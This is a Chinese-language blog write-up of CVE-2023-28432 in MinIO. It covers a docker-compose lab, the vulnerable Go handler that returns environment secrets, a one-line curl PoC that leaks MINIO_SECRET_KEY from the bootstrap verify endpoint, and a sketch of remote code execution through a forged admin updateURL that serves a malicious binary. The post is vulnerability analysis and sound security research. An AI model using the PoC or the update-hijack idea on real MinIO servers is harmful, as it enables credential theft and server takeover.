CVE-2023-28432 Minio信息泄露导致RCE

警告
本文最后更新于 2023-03-24,文中内容可能已过时。

https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

这通告把漏洞点都给出来了…

# 环境

看这篇文章《Docker下MinIO的使用》

docker-compose.yml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
version: '3.7'

# starts 4 docker containers running minio server instances. Each
# minio server's web interface will be accessible on the host at port
# 9001 through 9004.
services:
  minio1:
    image: minio/minio:RELEASE.2020-01-16T22-40-29Z
    container_name: minio1
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9001:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio{1...4}/data{1...2}
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio2:
    image: minio/minio:RELEASE.2020-01-16T22-40-29Z
    container_name: minio2
    volumes:
      - data2-1:/data1
      - data2-2:/data2
    ports:
      - "9002:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio{1...4}/data{1...2}
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio3:
    image: minio/minio:RELEASE.2020-01-16T22-40-29Z
    container_name: minio3
    volumes:
      - data3-1:/data1
      - data3-2:/data2
    ports:
      - "9003:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio{1...4}/data{1...2}
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio4:
    image: minio/minio:RELEASE.2020-01-16T22-40-29Z
    container_name: minio4
    volumes:
      - data4-1:/data1
      - data4-2:/data2
    ports:
      - "9004:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio{1...4}/data{1...2}
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:
  data2-1:
  data2-2:
  data3-1:
  data3-2:
  data4-1:
  data4-2:
1
2
docker-compose pull
docker-compose up

http://172.16.16.128:9001/ 到9004端口都是minio集群

# 漏洞分析

根据官方GitHub中的通告 https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q 可知

在集群部署中,MinIO返回所有环境变量,包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,导致信息泄露。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

给出了补丁的commit https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077

diff可见增加了敏感字段skip的操作

image.png

最终路由映射到 http://172.16.16.128:9001/minio/bootstrap/v1/verify

image.png

cmd/routers.go:75 判断了一下是集群才会注册上述路由

image.png

# poc

1
curl -XPOST http://172.16.16.128:9001/minio/bootstrap/v1/verify

# rce

minio是个go写的项目,go rce的方式不是很多,我的思路是找自更新的点。

在这个commit中 https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300

加了一个二进制文件签名校验

image.png

这个函数在cmd/admin-handlers.go ServerUpdateHandler函数中被调用,对应的路由为POST /minio/admin/v3/update?updateURL={updateURL} 有一些版本好像是v2

ServerUpdateHandler函数中经过了几个处理,代码比较长,我贴一下精简之后的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func (a adminAPIHandlers) ServerUpdateHandler(w http.ResponseWriter, r *http.Request) {
	// 验证是否是admin权限
	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ServerUpdateAdminAction)

	// 从POST /minio/admin/v3/update?updateURL={updateURL}取updateURL参数
	vars := mux.Vars(r)
	updateURL := vars["updateURL"]
	mode := getMinioMode()

	// 解析url
	u, err := url.Parse(updateURL)

	// 下载Release信息并解析出对应的更新信息
	content, err := downloadReleaseURL(u, updateTimeout, mode)
	sha256Sum, lrTime, releaseInfo, err := parseReleaseData(content)

	// 指定二进制文件的下载路径
	u.Path = path.Dir(u.Path) + SlashSeparator + releaseInfo

	// 下载二进制文件
	reader, err := downloadBinary(u, mode)

	// 验证签名
	err = verifyBinary(u, sha256Sum, releaseInfo, mode, reader)

	// 提交二进制文件
	err = commitBinary()

	// 发送重启信号给channel
	globalServiceSignalCh <- serviceRestart
}

而在verifyBinary中envMinisignPubKey环境变量应该是默认为空,导致签名校验无效。

image.png

攻击者可以伪造updateURL来触发恶意自更新来执行任意二进制文件,不过这个动静可能有点大,而且恶意二进制文件应该是针对minio二开的,否则服务可能会挂掉。

最后一点,就是如何使用敏感信息泄露的用户来提权到admin用户。

commit应该是67f4ba154a27a1b06e48bfabda38355a010dfca5 看了下没看懂,先放一放,让子弹飞一会。

r师太吊了,打call。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。